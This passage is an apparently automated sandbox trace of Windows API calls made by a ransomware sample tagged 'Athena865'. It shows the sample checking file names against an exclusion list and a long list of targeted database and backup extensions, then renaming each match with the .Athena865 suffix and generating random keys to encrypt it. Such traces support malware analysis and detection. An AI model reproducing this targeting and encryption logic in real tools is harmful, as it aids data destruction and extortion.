lpString2="ns3") returned -1 [0100.089] lstrlenW (lpString="ns4") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="ns4") returned -1 [0100.089] lstrlenW (lpString="nsf") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="nsf") returned -1 [0100.089] lstrlenW (lpString="nv") returned 2 [0100.089] lstrcmpiW (lpString1="fo", lpString2="nv") returned -1 [0100.089] lstrlenW (lpString="nv2") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="nv2") returned -1 [0100.089] lstrlenW (lpString="nwdb") returned 4 [0100.089] lstrcmpiW (lpString1="Info", lpString2="nwdb") returned -1 [0100.089] lstrlenW (lpString="nyf") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="nyf") returned -1 [0100.089] lstrlenW (lpString="odb") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0100.089] lstrlenW (lpString="odb") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0100.089] lstrlenW (lpString="oqy") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="oqy") returned -1 [0100.089] lstrlenW (lpString="ora") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="ora") returned -1 [0100.089] lstrlenW (lpString="orx") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="orx") returned -1 [0100.090] lstrlenW (lpString="owc") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="owc") returned -1 [0100.090] lstrlenW (lpString="p96") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="p96") returned -1 [0100.090] lstrlenW (lpString="p97") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="p97") returned -1 [0100.090] lstrlenW (lpString="pan") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="pan") returned -1 [0100.090] lstrlenW (lpString="pdb") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="pdb") returned -1 [0100.090] lstrlenW (lpString="pdm") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="pdm") returned -1 [0100.090] lstrlenW (lpString="pnz") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="pnz") returned -1 [0100.090] lstrlenW (lpString="qry") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="qry") returned -1 [0100.090] lstrlenW (lpString="qvd") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="qvd") returned -1 [0100.090] lstrlenW (lpString="rbf") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="rbf") returned -1 [0100.090] lstrlenW (lpString="rctd") returned 4 [0100.090] lstrcmpiW (lpString1="Info", lpString2="rctd") returned -1 [0100.090] lstrlenW (lpString="rod") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="rod") returned -1 [0100.090] lstrlenW (lpString="rodx") returned 4 [0100.090] lstrcmpiW (lpString1="Info", lpString2="rodx") returned -1 [0100.090] lstrlenW (lpString="rpd") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="rpd") returned -1 [0100.090] lstrlenW (lpString="rsd") returned 3 [0100.090] lstrcmpiW (lpString1="nfo", lpString2="rsd") returned -1 [0100.091] lstrlenW (lpString="sas7bdat") returned 8 [0100.091] lstrcmpiW (lpString1="dateInfo", lpString2="sas7bdat") returned -1 [0100.091] lstrlenW (lpString="sbf") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="sbf") returned -1 [0100.091] lstrlenW (lpString="scx") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="scx") returned -1 [0100.091] lstrlenW (lpString="sdb") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="sdb") returned -1 [0100.091] lstrlenW (lpString="sdc") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="sdc") returned -1 [0100.091] lstrlenW (lpString="sdf") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="sdf") returned -1 [0100.091] lstrlenW (lpString="sis") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="sis") returned -1 [0100.091] lstrlenW (lpString="spq") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="spq") returned -1 [0100.091] lstrlenW (lpString="te") returned 2 [0100.091] lstrcmpiW (lpString1="fo", lpString2="te") returned -1 [0100.091] lstrlenW (lpString="teacher") returned 7 [0100.091] lstrcmpiW (lpString1="ateInfo", lpString2="teacher") returned -1 [0100.091] lstrlenW (lpString="tmd") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="tmd") returned -1 [0100.091] lstrlenW (lpString="tps") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="tps") returned -1 [0100.091] lstrlenW (lpString="trc") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0100.091] lstrlenW (lpString="trc") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0100.091] lstrlenW (lpString="trm") returned 3 [0100.091] lstrcmpiW (lpString1="nfo", lpString2="trm") returned -1 [0100.092] lstrlenW (lpString="udb") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="udb") returned -1 [0100.092] lstrlenW (lpString="udl") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="udl") returned -1 [0100.092] lstrlenW (lpString="usr") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="usr") returned -1 [0100.092] lstrlenW (lpString="v12") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="v12") returned -1 [0100.092] lstrlenW (lpString="vis") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="vis") returned -1 [0100.092] lstrlenW (lpString="vpd") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="vpd") returned -1 [0100.092] lstrlenW (lpString="vvv") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="vvv") returned -1 [0100.092] lstrlenW (lpString="wdb") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="wdb") returned -1 [0100.092] lstrlenW (lpString="wmdb") returned 4 [0100.092] lstrcmpiW (lpString1="Info", lpString2="wmdb") returned -1 [0100.092] lstrlenW (lpString="wrk") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="wrk") returned -1 [0100.092] lstrlenW (lpString="xdb") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="xdb") returned -1 [0100.092] lstrlenW (lpString="xld") returned 3 [0100.092] lstrcmpiW (lpString1="nfo", lpString2="xld") returned -1 [0100.092] lstrlenW (lpString="xmlff") returned 5 [0100.092] lstrcmpiW (lpString1="eInfo", lpString2="xmlff") returned -1 [0100.092] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo.Athena865") returned 113 [0100.092] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.094] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.094] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.094] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.095] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.095] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.095] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.098] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.099] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.099] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0100.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0100.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0100.100] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0100.100] CloseHandle (hObject=0x154) returned 1 [0100.100] CloseHandle (hObject=0x17c) returned 1 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0100.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0100.101] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x16755fe0, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0x16755fe0, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0x167ee560, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", cAlternateFileName="{51296~1")) returned 1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2=".") returned 1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="..") returned 1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="windows") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="temp") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="boot") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.101] lstrlenW (lpString="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo") returned 56 [0100.101] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo" | out: lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo") returned="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo" [0100.101] lstrlenW (lpString="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo") returned 56 [0100.101] lstrlenW (lpString="Athena865") returned 9 [0100.101] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.101] lstrlenW (lpString=".dll") returned 4 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.101] lstrlenW (lpString=".lnk") returned 4 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.101] lstrlenW (lpString=".ini") returned 4 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.101] lstrlenW (lpString=".sys") returned 4 [0100.101] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.101] lstrlenW (lpString="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo") returned 56 [0100.101] lstrlenW (lpString="bak") returned 3 [0100.101] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0100.102] lstrlenW (lpString="ba_") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0100.102] lstrlenW (lpString="dbb") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0100.102] lstrlenW (lpString="vmdk") returned 4 [0100.102] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0100.102] lstrlenW (lpString="rar") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0100.102] lstrlenW (lpString="zip") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0100.102] lstrlenW (lpString="tgz") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0100.102] lstrlenW (lpString="vbox") returned 4 [0100.102] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0100.102] lstrlenW (lpString="vdi") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0100.102] lstrlenW (lpString="vhd") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0100.102] lstrlenW (lpString="vhdx") returned 4 [0100.102] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0100.102] lstrlenW (lpString="avhd") returned 4 [0100.102] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0100.102] lstrlenW (lpString="db") returned 2 [0100.102] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0100.102] lstrlenW (lpString="db2") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0100.102] lstrlenW (lpString="db3") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0100.102] lstrlenW (lpString="dbf") returned 3 [0100.102] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0100.103] lstrlenW (lpString="mdf") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0100.103] lstrlenW (lpString="mdb") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0100.103] lstrlenW (lpString="sql") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0100.103] lstrlenW (lpString="sqlite") returned 6 [0100.103] lstrcmpiW (lpString1="geInfo", lpString2="sqlite") returned -1 [0100.103] lstrlenW (lpString="sqlite3") returned 7 [0100.103] lstrcmpiW (lpString1="ageInfo", lpString2="sqlite3") returned -1 [0100.103] lstrlenW (lpString="sqlitedb") returned 8 [0100.103] lstrcmpiW (lpString1="kageInfo", lpString2="sqlitedb") returned -1 [0100.103] lstrlenW (lpString="xml") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0100.103] lstrlenW (lpString="$er") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0100.103] lstrlenW (lpString="4dd") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0100.103] lstrlenW (lpString="4dl") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0100.103] lstrlenW (lpString="^^^") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0100.103] lstrlenW (lpString="abs") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0100.103] lstrlenW (lpString="abx") returned 3 [0100.103] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0100.103] lstrlenW (lpString="accdb") returned 5 [0100.103] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0100.103] lstrlenW (lpString="accdc") returned 5 [0100.103] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0100.103] lstrlenW (lpString="accde") returned 5 [0100.104] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0100.104] lstrlenW (lpString="accdr") returned 5 [0100.104] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0100.104] lstrlenW (lpString="accdt") returned 5 [0100.104] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0100.104] lstrlenW (lpString="accdw") returned 5 [0100.104] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0100.104] lstrlenW (lpString="accft") returned 5 [0100.104] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0100.104] lstrlenW (lpString="adb") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.104] lstrlenW (lpString="adb") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.104] lstrlenW (lpString="ade") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0100.104] lstrlenW (lpString="adf") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0100.104] lstrlenW (lpString="adn") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0100.104] lstrlenW (lpString="adp") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0100.104] lstrlenW (lpString="alf") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0100.104] lstrlenW (lpString="ask") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0100.104] lstrlenW (lpString="btr") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0100.104] lstrlenW (lpString="cat") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0100.104] lstrlenW (lpString="cdb") returned 3 [0100.104] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0100.104] lstrlenW (lpString="ckp") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0100.105] lstrlenW (lpString="cma") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0100.105] lstrlenW (lpString="cpd") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0100.105] lstrlenW (lpString="dacpac") returned 6 [0100.105] lstrcmpiW (lpString1="geInfo", lpString2="dacpac") returned 1 [0100.105] lstrlenW (lpString="dad") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0100.105] lstrlenW (lpString="dadiagrams") returned 10 [0100.105] lstrcmpiW (lpString1="ackageInfo", lpString2="dadiagrams") returned -1 [0100.105] lstrlenW (lpString="daschema") returned 8 [0100.105] lstrcmpiW (lpString1="kageInfo", lpString2="daschema") returned 1 [0100.105] lstrlenW (lpString="db-journal") returned 10 [0100.105] lstrcmpiW (lpString1="ackageInfo", lpString2="db-journal") returned -1 [0100.105] lstrlenW (lpString="db-shm") returned 6 [0100.105] lstrcmpiW (lpString1="geInfo", lpString2="db-shm") returned 1 [0100.105] lstrlenW (lpString="db-wal") returned 6 [0100.105] lstrcmpiW (lpString1="geInfo", lpString2="db-wal") returned 1 [0100.105] lstrlenW (lpString="dbc") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0100.105] lstrlenW (lpString="dbs") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0100.105] lstrlenW (lpString="dbt") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0100.105] lstrlenW (lpString="dbv") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0100.105] lstrlenW (lpString="dbx") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0100.105] lstrlenW (lpString="dcb") returned 3 [0100.105] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0100.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo.Athena865") returned 113 [0100.106] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.107] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.107] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.108] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.109] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.109] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.109] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.114] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.120] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.120] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.120] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0100.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0100.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.123] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1c1a4280, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0x1c1a4280, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0x1c2d4d80, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", cAlternateFileName="{51296~2")) returned 1 [0100.123] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.123] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.123] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.124] lstrcmpiW 